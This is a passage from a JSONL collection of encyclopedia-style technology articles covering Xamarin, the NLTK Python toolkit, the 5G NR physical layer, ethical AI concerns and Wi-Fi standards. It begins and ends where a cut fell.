platforms. It's been said that for informational apps, 85% of code can be reused across Android and iOS. For more intensive apps, code reuse of 50% is possible. This code reuse comes from using shared C# app logic across platforms. \n\nUser interface code itself is not shared by Xamarin but that's where **Xamarin.Forms** comes in. Using **Xamarin.Forms** 96% code reuse has been reported. \n\nFor developers, this means that you get to build native Android, iOS and Windows Phone apps concurrently without having to build them one after another or having multiple teams with multiple skillsets and tools.\n\n**Xamarin.Android** and **Xamarin.iOS** provide further customization possibilities for developers who are looking at tweaking the app's look and feel achieved with Xamarin.Forms. There are several other benefits like seamless API integration, easy collaboration and sharing, etc. \n\n\n### Could you describe some useful Xamarin-specific terms that developers should know?\n\nThe term **managed code** refers to code that's managed by .NET Framework Common Language Runtime. In the case of Xamarin, this is the Mono Runtime. In contrast, **native code** is code that runs natively on the platform. Managed code could be in C# or F#. Java/Android code are native to Android; or Objective-C code is native to iOS/MAC. \n\nDuring compilation, C# or F# code is converted to **Microsoft Intermediate Language (MSIL)**. In Android and Mac platforms, MSIL is compiled to native at runtime using **just-in-time (JIT)** compilation. In iOS, due to security restrictions, this is not allowed. Hence **ahead-of-time (AOT)** compilation is performed. \n\n\n### What's the architecture of Xamarin?\n\nArchitecture is described in the documentation in three places:\n\n    + Xamarin.Android Architecture\n    + Xamarin.Mac Architecture\n    + Xamarin.iOS ArchitectureIn general, C# code and .NET APIs sit on top of Mono runtime, which in turn sits on top of the OS kernel. Architecture allows for managed code to invoke native APIs via bindings. In Android, **Managed Callable Wrappers (MCW)** are used when managed code needs to invoke Android code; **Android Callable Wrappers (ACW)** are used when Android runtime needs to invoke managed code. There's also the **Java Native Interface (JNI)** for one-off use of unbound Java types and members. \n\n\n### How much does it cost to use Xamarin?\n\nXamarin was initially available for a license. After it was acquired by Microsoft in 2016, it's now bundled with the Visual Studio suite of tools for free. While Visual Studio is not completely free, there is a Community Edition, which is free for eligible companies and developers.\n\nThe .NET platform itself open source and Xamarin in part of it. This means there are no fees or licensing costs, even for commercial use. \n\n\n### What are the pre-requisites for Xamarin app development?\n\nTo develop the app, one should have good programming expertise in C#, assuming that the RESTful APIs required for the application are already available. A Windows PC will be required for development on Android and Windows platforms. iOS development is done on Windows PC but to build the app, a Mac will be required to be connected in the same network as per Apple's requirements. \n\n\n### How does Xamarin compare against other cross-platform frameworks?\n\nAmong the cross-platform mobile frameworks are React Native, Ionic 2, Flutter, NativeScript, and Xamarin. Ionic 2, React Native and NativeScript rely on web technologies (HTML/CSS/JavaScript/TypeScript). Ionic 2 can suffer from performance problems. While Ionic 2 uses WebView (basically HTML wrapped in a native app), React Native and NativeScript use native UI components. Ionic 2 can also allow access to native API but will require the use of Apache Cordova. Xamarin uses native UI components and offers good performance. \n\nFor development, Xamarin lacks automatic restarting and hot/cold swapping. In this aspect, React Native is one of the easiest for developer productivity. All frameworks allow native code bindings but this process is easiest on Xamarin. Xamarin offers full one-to-one bindings to native libraries whereas in React Native or Ionic, support is partial and done via an abstraction layer. \n\nA blog post from AltexSoft compares the performance of Xamarin apps against native apps. It concludes that performance drop due to Xamarin is acceptable for most cases but the use of Xamarin.Forms is not recommended when apps are CPU intensive. \n\n\n### What are some criticisms of Xamarin?\n\nIt's been said that Xamarin support for latest platform updates (iOS/Android) are usually delayed. While iOS and Android developers can tap into an active ecosystem plus use open source technologies, similar following is limited in Xamarin. Xamarin is also not suited for apps that are heavy for graphics, where code reuse will be limited. For that matter, Xamarin developers still need to learn platform-specific languages for the UI, unless they also adopt Xamarin.Forms for their apps. \n\nXamarin apps are also larger in size when compared to equivalent native apps. This is because the app has to include the Mono runtime and associated components. A simple \"hello world\" Android app written in Xamarin requires about 16 MB. \n\n\n### Where can I learn more about Xamarin?\n\nXamarin has excellent documentation and code samples at their website. Specific official resources from Microsoft include:\n\n    + Documentation\n    + Courses, tutorials and videos\n    + Community forums\n    + The Xamarin Show on MSDN\n    + Xamarin tutorials on Microsoft Learn\n    + Visual Studio tools for XamarinThere used to be Xamarin University to train and certify professional developers. Since June 2019, this is now part of Microsoft Learn platform. \n\n## Milestones\n\n1999\n\nMiguel de Icaza and Nat Friedman start **Helix Code** for GNOME desktop application development for the Linux platform. In 2001, this is renamed to **Ximian**, which is acquired in 2003 by Novell. \n\n2000\n\nMicrosoft releases .NET Framework and Visual Studio .NET along with introducing a new language named C#. \n\n2001\n\n**Mono** project is launched for supporting .NET applications on non-Windows platforms. Open source and based on .NET Framework, Mono enables developers to build cross-platform applications. \n\nMay  \n2011\n\n**Xamarin** as a company is incorporated with the idea of building commercial .NET offerings for iOS and Android. In July, Novell gives Xamarin the rights to use MonoTouch and Mono for Android. \n\n2016\n\nMicrosoft acquires Xamarin and releases Xamarin as part of Visual Studio suite of tools.","meta":{"title":"Xamarin","href":"xamarin"}}
{"text":"# Natural Language Toolkit\n\n## Summary\n\n\nNatural Language Toolkit (NLTK) is a Python package to perform natural language processing (NLP). It was created mainly as a tool for learning NLP via a hands-on approach. It was not designed to be used in production. \n\nThe growth of unstructured data via social media, online reviews, blogs, and voice-based human-computer interaction are some reasons why NLP has become important in the late 2010s. NLTK is a useful toolkit for many of these NLP applications. \n\nNLTK is composed of sub-packages and modules. A typical processing pipeline will call modules in sequence. Python data structures are passed from one module to another. Beyond the algorithms, NLTK gives quick access to many text corpora and datasets.\n\n## Discussion\n\n### Which are the fundamental NLP tasks that can be performed using NLTK?\n\nNLTK can be used in wide range of applications for NLP. For basic understanding, let's try to analyze a paragraph using NLTK. It can be pre-processed using sentence segmentation, removing stopwords, removing punctuation and special symbols, and word tokenization. After pre-processing the corpus, it can be analyzed sentence-wise using parts of speech (POS) to extract nouns and adjectives. Subsequent tasks can include named entity recognition (NER), coreference resolution, constituency parsing and dependency parsing. The goal is to find insights and context about the corpus. \n\nFurther downstream tasks, more pertaining to application areas, could be emotion detection, sentiment analysis or text summarization. Tasks such as text classification and topic modeling typically require large amounts of text for better results.\n\n\n### Which are the modules available in NLTK?\n\nNLTK's architecture is modular. Functionality is organized into sub-packages and modules. NLTK is used for its simplicity, consistency and extensibility of its modules and functions. It's better explained in the tabular list of modules. \n\nA complete module index is available as part of NLTK documentation.\n\n\n### How is NLTK package split into sub-packages and modules?\n\nNLTK is divided into different sub-packages and modules for text analysis using various methods. Figure depicts an example of `text` sub-package and the modules within it. Each module fulfils a specific function. \n\n\n### Which are the natural languages supported in NLTK?\n\nLanguages supported by NLTK depends on the task being implemented. For **stemming**, we have RSLPStemmer (Portuguese), ISRIStemmer (Arabic), and SnowballStemmer (Danish, Dutch, English, Finnish, French, German, Hungarian, Italian, Norwegian, Portuguese, Romanian, Russian, Spanish, Swedish). \n\nFor **sentence tokenization**, PunktSentenceTokenizer is capable of multilingual processing. \n\n**Stopwords** are also available in multiple languages. After importing `stopwords`, we can obtain a list of languages by running `print(stopwords.fileids())`. \n\nAlthough most **taggers** in NLTK support only English, `nltk.tag.stanford` module allows us to use StanfordPOSTagger, which has multilingual support. This is only an interface to the Stanford tagger, which must be running on the machine. \n\n\n### What datasets are available in NLTK for practice?\n\nNLTK corpus is a natural dump for all kinds of NLP datasets that can be used for practice or maybe combined for generating models. For example, to import the Inaugural Address address, the statement to execute is `from nltk.corpus import inaugural`. \n\nOut of dozens of corpora, some popular ones are Brown, Name Genders, Penn Treebank, and Inaugural Address. NLTK makes it easy to read a corpus via the package `nltk.corpus`. This package has a reader object for each corpus. \n\n\n### What are the disadvantages or limitations of NLTK?\n\nIt's been mentioned that NLTK is \"a complicated solution with a harsh learning curve and a maze of internal limitations\". \n\nFor sentence tokenization, NLTK doesn't apply semantic analysis. Unlike *Gensim*, NLTK lacks neural network models or word embeddings. \n\nNLTK is slow, whereas *spaCy* is said to be the fastest alternative. In fact, since NLTK was created educational purpose, optimized runtime performance was never a goal. However, it's possible to speed up execution using Python's `multiprocessing` module. \n\nMatthew Honnibal, the creator of *spaCy*, noted that NTLK has lots of modules but very few (tokenization, stemming, visualization) are actually useful. Often NLTK has wrappers to external libraries and this leads to slow execution. The POS tagger was terrible, until Honnibal's averaged perceptron tagger was merged into NLTK in September 2015. \n\nIn general, NLP is evolving so fast that maintainers need to curate often and throw away old things. \n\n\n### For beginners, what are some useful resources to learn NLTK?\n\nThe official website includes documentation, Wiki, and index of all modules. There are Google Groups for users and developers.\n\nFor basic usage of NLTK, you can read a tutorial by Bill Chambers. This also shows some text classification examples using *Scikit-learn*. Another basic tutorial from Harry Howard includes examples from *Pattern* library as well. \n\nOften specific processing is implemented in external libraries. Benjamin Bengfort shows in a blog post how to call CoreNLP from inside NLTK for syntactic parsing. \n\nThere's a handy cheat sheet by murenei. Another one from 2017 is published at Northwestern University.\n\nA list of recommended NLTK books appears on BookAuthority. You can start by reading Natural Language Processing with Python (Bird et al. 2009). Those who wish to learn via videos can look up a playlist of 21 videos from sentdex. \n\n## Milestones\n\nJul  \n2001\n\nThe first downloadable version of NLTK appears on SourceForge. Created at the University of Pennsylvania, the aim is to have a set of open source software, tutorials and problem sets to aid the teaching of computational linguistics. Before NLTK, a project might require students to learn multiple programming languages and toolkits. Lack of visualizations also made it difficult to have class demonstrations. NLTK is meant to solve these problems. \n\nJul  \n2005\n\n**NLTK-Lite 0.1** is released. Steven Bird, one of the creators of NLTK, explains that NLTK 1.4 introduced Python's dictionary-based architecture for storing tokens. This created overhead for programmers. With NLTK-Lite, programmers can use simpler data structures. For better performance, iterators are used instead of lists. Taggers use backoff by default. Method names are shorter. Since then, regular releases are made till NLTK-Lite 0.9 in October 2007. NLTK-Lite eventually becomes NLTK. \n\nApr  \n2008\n\nTwo NLTK projects are accepted for **Google Summer of Code**: dependency parsing and natural language generation. The dependency parser becomes part of NLTK version 0.9.6 (December 2008). \n\nJun  \n2009\n\nBook titled *Natural Language Processing with Python* by Bird et al. is published by O'Reilly Media. Since October 2013, the authors release online revised versions of the book updated for Python 3 and NLTK 3. \n\nApr  \n2011\n\n**Version 2.0.1rc1** becomes the first release available via GitHub, although till July 2014 releases are also made via SourceForge. \n\nJul  \n2013\n\nOver a five-year period from January 2008 to July 2013, NLTK gets more than half a million downloads. This excludes downloads via GitHub. \n\nSep  \n2014\n\n**NLTK 3.0.0** is released, making this the first stable release supporting Python 3. Alpha release, version 3.0a0 (alpha), supporting Python 3 can be traced to January 2013.","meta":{"title":"Natural Language Toolkit","href":"natural-language-toolkit"}}
{"text":"# 5G NR PHY\n\n## Summary\n\n\n5G NR PHY is designed to meet the main 5G use cases, namely eMBB, mMTC and URLLC. While it's an evolution of LTE PHY, there are many aspects that are unique to 5G NR PHY.\n\nPHY layer sits at the bottom of the 5G NR protocol stack, interfacing to MAC sublayer higher up via transport channels. It provides its services to MAC and is configured by RRC. PHY supports downlink (gNB-to-UE), uplink (UE-to-gNB) and sidelink (UE-to-UE) communications. \n\nSome of the main features include a wide spectrum from sub-GHz bands to mmWave bands, an OFDM-based air interface, scalable numerology, deployments from indoor picocells to outdoor macrocells, FDD and TDD support, flexible and self-contained slot structure, modulation up to 256QAM, polar and LDPC codes, Hybrid-ARQ (HARQ), bandwidth parts, CORESETs, beamforming, and massive MIMO.\n\n## Discussion\n\n### Could you share some technical details of 5G NR PHY?\n\n**5G spectrum** spans a wide range: FR1 (410-7125 MHz) and FR2/mmWave (24250-52600 MHz). **UE bandwidth** per component carrier is of range 5-100MHz (FR1) and 50-400MHz (FR2). Higher bandwidth allocations can be achieved with carrier aggregation. \n\n**Waveform** used in 5G is OFDM with Cyclic Prefix (CP). In uplink, an optional transform precoding of DFT spreading is done before sub-carrier mapping. \n\n**Sub-Carrier Spacing (SCS)** is flexible from 15kHz to 120kHz, with higher values applicable in FR2. **Slot duration** is also flexible from 1ms at 15kHz SCS to 125µs at 120kHz SCS. SCS 240kHz is only for control. **Cyclic prefix** at 60kHz SCS can be normal or extended. \n\nFor **duplexing**, both FDD and TDD are supported in FR1. Only TDD is applicable in FR2. In TDD, DL/UL split can be dynamically adjusted. \n\n\n### What modulation schemes and channel coding are supported in 5G NR PHY?\n\n**Modulation schemes** supported are QPSK, 16QAM, 64QAM and 256QAM. For DFT-s-OFDM in uplink, 5G NR introduces π/2-BPSK for better power efficiency at lower data rates, necessary for mMTC services. DFT spreading in uplink helps coverage-limited scenarios. \n\n**Channel coding** is based on Low Density Parity Check (LDPC) code, applied on transport blocks. A large TB is segmented into multiple equal code blocks and LDPC coding is applied on the code blocks. Polar code is used for BCH, DCI and UCI. In addition, block code is used for UCI. \n\n\n### Which are the main physical radio resources in 5G NR?\n\nTime and frequency are the two main resources. **Time** is organized into OFDM symbols, slots, subframes and frames. **Frequency** is organized into sub-carriers as needed for OFDM with SCS determined by numerology. Unlike LTE, both have flexible configurations due to 5G's scalable numerology.\n\n5G NR defines the following: \n\n    + **Resource Element (RE)**: The smallest unit of resource. It's one sub-carrier for one OFDM symbol duration.\n    + **Resource Block (RB)**: 12 consecutive sub-carriers in the frequency domain. It's not defined for the time domain. *Common Resource Blocks* are numbered from zero for each SCS. A UE is configured one or more bandwidth parts. *Bandwidth part* is a contiguous set of common RBs. *Physical Resource Blocks (PRBs)* are numbered from zero within the bandwidth part. Thus, a UE uses PRBs for actual communication.\n    + **Resource Grid**: A combination of subcarriers and OFDM symbols. Defined for each numerology, carrier and antenna port. One set of resource grids is defined for downlink, uplink and sidelink each.\n    + **Resource Element Group (REG)**: One PRB and one symbol.\n    + **Control Resource Set (CORESET)**: Multiple PRBs with 1, 2 or 3 symbols.\n\n### What's the frame and slot structure in 5G NR?\n\nA frame is 10ms. A subframe is 1ms that's divided into slots. Slot duration depends on numerology. At 15kHz, a subframe has a single slot. At 30kHz, a subframe has two slots, each slot being 500µs. Likewise, we have slot durations 250µs@60kHz, 125µs@120kHz and 62.5µs@240kHz. \n\nA slot has 14 OFDM symbols but only 12 symbols at 60kHz when using extended cyclic prefix. At higher SCS, symbols and slots are shorter. 5G also permits mini-slot transmissions of 2, 4 and 7 symbols. \n\nBecause the different numerologies are of the form \\(2^µ\\), they can coexist. Regardless of numerology, symbols and slots are time aligned. Services with different requirements of bandwidth and latency can be multiplexed on the same frequency. \n\nTDD slot structure is **self-contained**. It allows for fast and flexible TDD switching. DL control, DL data, guard period and UL control are in the same slot. Thus, DL data and its acknowledgment can happen in the same slot. This is also possible for UL data. Symbol allocation to DL or UL can be switched every slot. \n\n\n### What are the different physical channels used in 5G NR PHY?\n\nWe note the following physical channels (with transport channel in parenthesis): \n\n    + **Downlink**: PBCH (BCH), PDSCH (DL-SCH, PCH), PDCCH\n    + **Uplink**: PRACH (RACH), PUSCH (UL-SCH), PUCCH\n    + **Sidelink**: PSBCH (SL-BCH), PSSCH (SL-SCH), PSCCH, PSFCHPDCCH, PUCCH, PSCCH and PSFCH are standalone physical channels, that is, they're not mapped to transport channels. PDCCH has Slot Format Indicator (SFI) and Downlink Control Information (DCI) fields. The latter informs scheduling for PDSCH and PUSCH. PUCCH carries Uplink Control Information (UCI). UCI carries channel reports, HARQ-ACK and scheduling request. \n\n\n### What are the different signals used in 5G NR PHY?\n\nPHY has a few signals for the following purposes:  \n\n    + **Synchronization**: Primary Synchronization Signal (PSS) and Secondary Synchronization Signal (SSS). These are transmitted along with PBCH.\n    + **Acquisition and Channel Estimation**: Demodulation Reference Signal (DM-RS) in downlink and uplink. Sounding Reference Signal (SRS) in uplink when PUCCH and PUSCH are not scheduled.\n    + **Positioning**: Positioning Reference Signal (PRS) in downlink. SRS in uplink.\n    + **Phase Tracking**: Phase Tracking Reference Signal (PT-RS) for PDSCH and PUSCH. Helps combat path delay spread and Doppler spread.\n    + **Beam Management**: Channel State Information Reference Signal (CSI-RS) in downlink towards a connected UE.\n\n### What are the main functions of 5G NR PHY?\n\nThe main functions include error detection on the transport channel and indication to higher layers; FEC encoding/decoding of the transport channel; HARQ soft-combining; rate matching of the coded transport channel to physical channels; mapping of the coded transport channel onto physical channels; power weighting of physical channels; modulation and demodulation of physical channels; frequency and time synchronisation; radio characteristics measurements and indication to higher layers; MIMO antenna processing; RF processing. \n\nConsider the PHY model for DL-SCH. At gNB, Transport Blocks (TBs) arrive from MAC on transport channels. PHY adds CRC to each TB, perhaps involving code block segmentation. Channel coding and rate matching are performed, including for HARQ retransmissions. Data modulation is next, followed by mapping to physical resources. Finally, there's antenna mapping before transmission. At UE, the reverse process happens with CRC used for error detection and indication to MAC. \n\nIn the figure, blue boxes are configurable by higher layers. For other channels, some steps may be hardcoded in the specification. For example, all steps are fixed for BCH; coding and rate matching are fixed for PCH. \n\n\n### What are the main procedures in 5G NR PHY?\n\nThe main procedures include Cell search; Power control; Uplink synchronisation and Uplink timing control; Random access related procedures; HARQ related procedures; Beam management and CSI related procedures; Sidelink related procedures; Channel access procedures. \n\nWe describe a few:\n\n    + **Cell Search**: UE acquires time and frequency synchronization for a cell and detects the Cell ID. UE receives PSS, SSS and PBCH.\n    + **Uplink Power Control**: For PUSCH, PUCCH, SRS and PRACH transmissions. When Dual Connectivity (DC) is active, UE is configured with maximum power for both MCG and SCG.\n    + **Random Access**: Of either Type-1 or Type-2. Involves preamble transmission on PRACH (and PUSCH MsgA in Type-2), random access response (RAR) reception on PDCCH/PDSCH, PUSCH transmission based on RAR UL grant (fallback in Type-2), and PDSCH contention resolution.\n    + **PDSCH Reception**: Typically first requires decoding DCI from PDCCH.\n    + **PUSCH Transmission**: Scheduled dynamically by UL grant in DCI or semi-statically by Type-1 or Type-2 grants configured by RRC.\n    + **CSI Measurements & Reporting**: Periodic, semi-persistent or aperiodic. Reports are sent on PUCCH or PUSCH and triggered by DCI when applicable.\n\n### Which are the main 5G NR PHY specifications?\n\nFor a high-level overview of 5G NR PHY, PHY section of **TS 38.300** is worth reading. This specification gives an overall description of NR and NG-RAN. \n\nA general description of 5G NR PHY layer is found in **TS 38.201**. Beginners can start with this document. For more details into PHY, the following are useful: \n\n    + **TS 38.202**: Services and functions provided by PHY, downlink/uplink/sidelink models.\n    + **TS 38.211**: Physical channels and modulation, frame structure, PHY resources, modulation mapping, OFDM signal generation, scrambling, modulation, up-conversion, layer mapping, precoding.\n    + **TS 38.212**: Multiplexing and channel coding, rate matching, transport channels, control information.\n    + **TS 38.213**: Physical layer procedures for control, synchronization procedures, uplink power control, random access procedure, UE procedure for reporting and receiving control information.\n    + **TS 38.214**: Physical layer procedures for data, power control, procedures related to physical shared channels.\n    + **TS 38.215**: Physical layer measurements, UE and NG-RAN measurement capabilities.To learn about RF requirements including operating bands, channel bandwidth and transmitter/receiver characteristics, documents to read are **TS 38.101** in two parts (for FR1 and FR2) for the UE,  and **TS 38.104** for base station. \n\n## Milestones\n\nDec  \n2017\n\n3GPP approves the first specifications for 5G, called \"early drop\" of Release 15. \n\nDec  \n2019\n\nFirst updates to specifications towards Release 16 are published. Some of the new features are Remote Interference Management (RIM), two-step RACH procedure, NR-based access to unlicensed spectrum, Integrated Access and Backhaul (IAB), V2X, eURLLC, NR positioning, MIMO enhancements, Dynamic Spectrum Sharing (DSS) enhancements, Multi-RAT DC/CA, NR-DC and cross-carrier scheduling with different numerologies. \n\nJul  \n2020\n\n3GPP finalizes **Release 16** specifications.","meta":{"title":"5G NR PHY","href":"5g-nr-phy"}}
{"text":"# Ethical AI\n\n## Summary\n\n\nWe're living in a world where machines and algorithms are increasingly giving recommendations, tagging content, generating reviews and even taking decisions. A number of ethical questions arise. Can we trust machines to do this right thing? Was my loan application processed in a fair manner? Why was my application rejected? \n\nThen there are questions about AI replacing humans in the workplace. With widespread use of personal data, we're worried about privacy and data theft. What happens to us if AI agents acquire human-like cognitive abilities? \n\nEthical AI addresses these issues by building systems that are safe, fair, transparent, accountable and auditable. To practice ethical AI, it's been said that, \n\n> We are not at the point where you can simply download a tool to do the job. Data ethics is still new and it requires critical thinking.\n\n## Discussion\n\n### Are there real-world examples that highlight the need for ethical AI?\n\nIn March 2016, Microsoft released a chatbot named Tay. Tay could interact and learn from real users on social platforms. Soon Tay was exposed to nasty tweets and ended up becoming mean and racist on her own. \n\nA study by ProPublica found that software used to predict future criminals is biased against blacks. Risk scoring done by the software is seen by judges and directly influences sentences. White defendants were often mislabelled as low risk compared to black defendants. Only 20% of those predicted to commit violent crimes went on to do so. \n\nIn March 2018, an Uber self-driving vehicle killed a pedestrian. Who is responsible: the distracted driver, the pedestrian, Uber, developers who wrote the code, or a sensor manufacturer? It's unrealistic to expect AI systems to be perfect but determining liability isn't trivial. \n\nMore recently, it was found that Facebook's ad delivery algorithms discriminate based on race and gender even when ads are targeted to a broad audience. Influencing factors include user profile, past behaviour and even the ad content. \n\n\n### What are the common ethical concerns raised by AI?\n\nEthical AI has the following concerns:  \n\n    + **Bias**: AI systems can be biased because they're designed to look for patterns in data and favour those patterns.\n    + **Liability**: AI systems can't be perfect. When mistakes are made, who's responsible?\n    + **Security**: As AI systems advance, how do we stop bad actors from weaponizing them? What happens if robots can fight and drones can attack?\n    + **Human Interaction**: There's already a decline in person-to-person interactions. Are we sacrificing humanity's social aspect?\n    + **Employment**: Repetitive, predictable jobs that can be automated will be automated. Those replaced have to retrain themselves in areas where robots can't come in easily, such as, creative or critical thinking.\n    + **Wealth Inequality**: Companies rich enough to invest in AI will get richer by reducing cost and being more efficient.\n    + **Power & Control**: Big companies that use AI can control and manipulate how society thinks and acts.\n    + **Robot Rights**: If AI systems develop consciousness and emotions, should we give them rights? Can we punish AI and make them suffer?\n    + **Singularity**: What happens if AI surpasses human intelligence? Will they turn against us to defend themselves?\n\n### How can AI be biased when it's based on trusted data?\n\nEven if data is trusted, it may not be a fair representation of the population. Dataset may be skewed in a number of ways including race, gender, education, or wealth. When algorithms are exposed to this data, they acquire the bias that's present in them. \n\nBias in AI comes from human biases since we are the ones building the algorithms and creating/selecting data. Minorities, often in low-income groups, lack access to technology. As a result, AI systems are not trained on such data. One infamous example is Google tagging photo of a black woman as \"gorilla\". \n\nThere are many ways in which human biases creep into AI systems. Selection bias, interaction bias and latent bias are some examples. \n\nAI system that's trained primarily on American or European faces will not work well when applied on Asian or African faces. In one example, a Nikon S630 camera hinted to the user that perhaps she has blinked when in reality Chinese people have eyes that are squinty when they smile. In another example, a happy tribal woman was wrongly classified to have \"disgusted\" emotion. \n\n\n### What can we do to make AI more ethical?\n\nWe need to design our systems to avoid biases. Check that proxy metrics don't introduce bias. We can minimize bias by having diversity in teams, data, and validation. \n\nFor transparency, data must be marked with metadata detailing the source, intended use, usage rights, etc. Data must be managed well leading to algorithms that are better traceable, reproducible and fixable. Context is key to transparency and explainability. \n\nWhen AI systems fail, have a plan to fix them in production. We need to monitor them. Let the purpose be clearly defined and bounded. AI systems should not be allowed to explore unintended pathways. \n\nWhat we need is a holistic approach. It's not just about technology and tools, but also about leaderships, standards and rules. Microsoft's Satya Nadella has said ethical AI also means how humans interact with AI. We must have empathy, education, creativity, judgement and accountability. \n\nAccenture has suggested setting up AI advisory bodies. Have discussions. Publish guidelines. Engage with stakeholders. The AI Ethics Lab is looking into integrating ethics and AI right at the R&D phase. \n\n\n### Are there published guidelines or code of conduct for practising ethical AI?\n\nThe Institute for Ethical AI & ML has identified 8 ML principles for responsible AI: human augmentation, bias evaluation, explainability by justification, reproducible operations, displacement strategy, practical accuracy, trust by privacy, and security risks. They also identify a 4-phase strategy: by principle, by process, by standards, by regulation. They've also formed the *Ethical ML Network*. \n\nThe Future of Life Institute has created a interactive map addressing validation, security, control, foundations, verification, ethics and governance. \n\nIn 2018, GE Healthcare published a set of AI principles. Google published its own guidelines of what AI applications should and shouldn't do. Microsoft released ten guidelines for developing conversational AI. One of these guidelines says that developers are accountable until bots become truly autonomous. \n\n## Milestones\n\n2014\n\nAmazon starts using AI for filtering resumes and hiring top talent. But in 2015, it's discovered that the algorithm is biased towards male candidates since it was trained on resumes submitted to Amazon over a 10-year period. This dataset had mostly male applicants since they dominated the tech industry. The algorithm just reinforced the bias. The algorithm is found to have other problems as well and is discontinued by Amazon. \n\n2016\n\nThis is the year when people start talking about ethics and AI. Interest in ethical AI grows through 2017 and 2018. \n\nMay  \n2018\n\nMicrosoft appoints Tim O'Brien to the role of **AI Ethicist**, a new full-time position. The role involves AI ethics advocacy and evangelism. In reality, O'Brien clarifies that the role includes IoT, analytics, and AR/VR, since real-world solutions are hybrids of multiple technologies. \n\nDec  \n2018\n\nMaria de Kleijn-Lloyd of Elsevier finds from her research that only 0.4% of published work on AI deals with ethics. She comments that there's lot of discourse on ethical AI but not much in terms of research and rigorous inquiry. \n\nApr  \n2019\n\nGoogle disbands Advanced Technology External Advisory Council (ATEAC), which was supposed to advise on ethical AI. This happens due to controversy over ATEAC membership. This example shows that avoiding human bias and discrimination is not easy. \n\nJan  \n2020\n\nFjeld et al. note that many organizations working with AI have published their own guidelines. They study thirty-six such documents and identify eight main themes. Moreover, recent documents tend to cover all the eight themes.","meta":{"title":"Ethical AI","href":"ethical-ai"}}
{"text":"# Wi-Fi\n\n## Summary\n\n\nWi-Fi is a technology for wireless local area networking with devices based on the IEEE 802.11 standards. User Equipment (laptop/mobile) uses a wireless adapter to translate data into a radio signal and transmit that signal using an antenna. At the receiving end, a wireless router converts radio waves back into data and then sends it to the Internet using a physical connection. Wi-Fi networks either operate in infrastructure mode or ad hoc mode.\n\nWi-Fi networks typically operates in unlicensed 2.4, 5 and 60 GHz radio bands. Data rates up to 20 Gbps are possible in the 60 GHz band. Range of a Wi-Fi network varies anywhere from a few metres (point-to-multipoint) to many kilometres (point-to-point with directional antennas).\n\n## Discussion\n\n### What are the roles of IEEE and Wi-Fi Alliance in Wi-Fi Technology?\n\nIEEE 802.11 is the Working Group of Institute of Electrical and Electronics Engineers (IEEE) that deals with Local Area Networks (LANs), and its main role is to develop technical specifications for WLAN implementation. \n\nThe Wi-Fi Alliance was formed to ensure interoperability testing and certification for the rapidly emerging 802.11 world. This gives consumers the confidence a device from one vendor will work with another from another vendor, as long as they are Wi-Fi certified. It developed Wi-Fi Protected Access (WPA) in response to the poorer security of WEP. While, IEEE standards have technology-centric names, Wi-Fi Alliance has come up with more consumer-friendly naming. For example, IEEE 802.11ax is named Wi-Fi 6. \n\n\n### What's the difference between WiFi and WLAN?\n\nWLAN (Wireless Local Area Network) is a LAN to which a user (Station) can connect through a wireless connection. However, Wi-Fi is a type of WLAN that adheres to IEEE 802.11x specifications. \n\n\n### What are the different existing 802.11x Standards?\n\n\n| 802.11 protocol | Frequency (GHz) | Bandwidth (MHz) | Data Rate (Mbit/s) | Description |\n| --- | --- | --- | --- | --- |\n| 802.11a | 5 | 20 | 54 | Uses data link layer protocol and frame format as the original standard, but an OFDM-based air interface. |\n| 802.11b | 2.4 | 22 | 11 | Uses same media access method defined in the original IEEE standard. |\n| 802.11g | 2.4 | 20 | 54 | Uses OFDM-based transmission and operates at physical layer. |\n| 802.11n | 2.4/5 | 20, 40 | 600 | Provides multiple-input multiple-output antennas. |\n| 802.11ac | 5 | 20, 40, 80, 160 | 3467 | Release incrementally as Wave 1 and Wave 2. More spatial streams, higher-order modulation and the addition of multi-user MIMO. |\n| 802.11ad | 60 | 2106 | 6757 | An amendment that defines a new physical layer to operate in the 60 GHz millimeter wave spectrum. |\n| 802.11ax | 2.4/5 | 20, 40, 80, 80+80 | 9608 | Successor to 802.11ac meant to increase the efficiency of WLAN networks. |\n| 802.11aj | 45/60 |  |  | A rebranding of 802.11ad for China. |\n| 802.11ay | 60 | 8000 | 20000 | Extension of the existing 11ad, aimed at extending the throughput, range and use-cases. |\n\n\n### Which are the types of Wi-Fi products available in market?\n\nWi-Fi products with a number of features are getting released on a regular basis. Here's a short list of Wi-Fi product types: \n\n    + **Wi-Fi Access Point (AP)** - Used to connect other devices in Wi-Fi Infrastructure mode. All User Equipment will get access to Internet via Access Point.\n    + **Wi-Fi Analyzer** - To Test and diagnose wireless performance issues such as throughput, connectivity, device conflict and single multipath.\n    + **Wi-Fi Autodoc** - Autodoc is foremost software to generate a comprehensive report from firewall configuration files.\n    + **Wi-Fi Adapters** - Adapters permit various devices to connect with cable-less media to perform various type of external or internal interconnects as PC cards, USB, PCI etc.\n    + **Wi-Fi Bar Code Scanner** - WiFi bar code scanner continues their workflow in retail and intended to read stock keeping unit by providing efficiency and simplicity.\n\n### Could you explain infrastructure and ad hoc modes of operation?\n\nInfrastructure mode is suitable for any permanent network that's intended to cover a wide area. Ad hoc mode is suitable for a temporary network where the devices are close to each other.\n\nIn infrastructure mode, Wi-Fi devices on this network communicate through single access point, which is generally called wireless router. For example, two laptops placed next to each other might connect to the same AP. They don't communicate directly. Instead, they’re communicating indirectly through the wireless access point. Infrastructure mode requires a central access point that all devices connect to. \n\nAd-hoc mode is also known as **peer-to-peer mode**. Ad-hoc networks don’t require a centralized access point. Instead, devices on the wireless network connect directly to each other. \n\n\n### Is Wi-Fi a viable technology for IoT applications?\n\nFor IoT, wireless technologies commonly proposed include RFID, LoRa, Sigfox, NB-IoT, LTE-M, IEEE 802.15.4, BLE and Bluetooth Mesh. Wi-Fi is not suitable for battery-operated devices due to its higher power consumption. Where a power outlet is available, Wi-Fi can be used in smart homes, home appliances, digital signages, and security cameras. Wi-Fi 6 might cater to connected cars and retail IoT. \n\nThe high data rates and low latency offered by Wi-Fi 5 and 6 make them suitable for vehicular services and applications heavy on media such as security cameras. \n\nFor low-power long-range applications, **IEEE 802.11ah**, aka Wi-Fi HaLow, is the most suitable standard. It operates in sub-1 GHz band with a range of 1 km. It supports short bursty data transmission and scheduled sleep/wakeup. It's ideal for smart building applications (lighting, HVAC) and smart city applications (parking meters or garages). \n\n**IEEE 802.11p** is for vehicular applications. It aligns with FCC's Dedicated Short-Range Communications (DSRC). Applications seek to improve road safety and traffic management. It competes with LTE-V2V. \n\n\n### Could you share a list of top WLAN solution providers?\n\nIn 2019, some well-known WLAN solution providers included Aerohive Networks, Mojo Networks, Aruba Networks, Cisco Meraki, 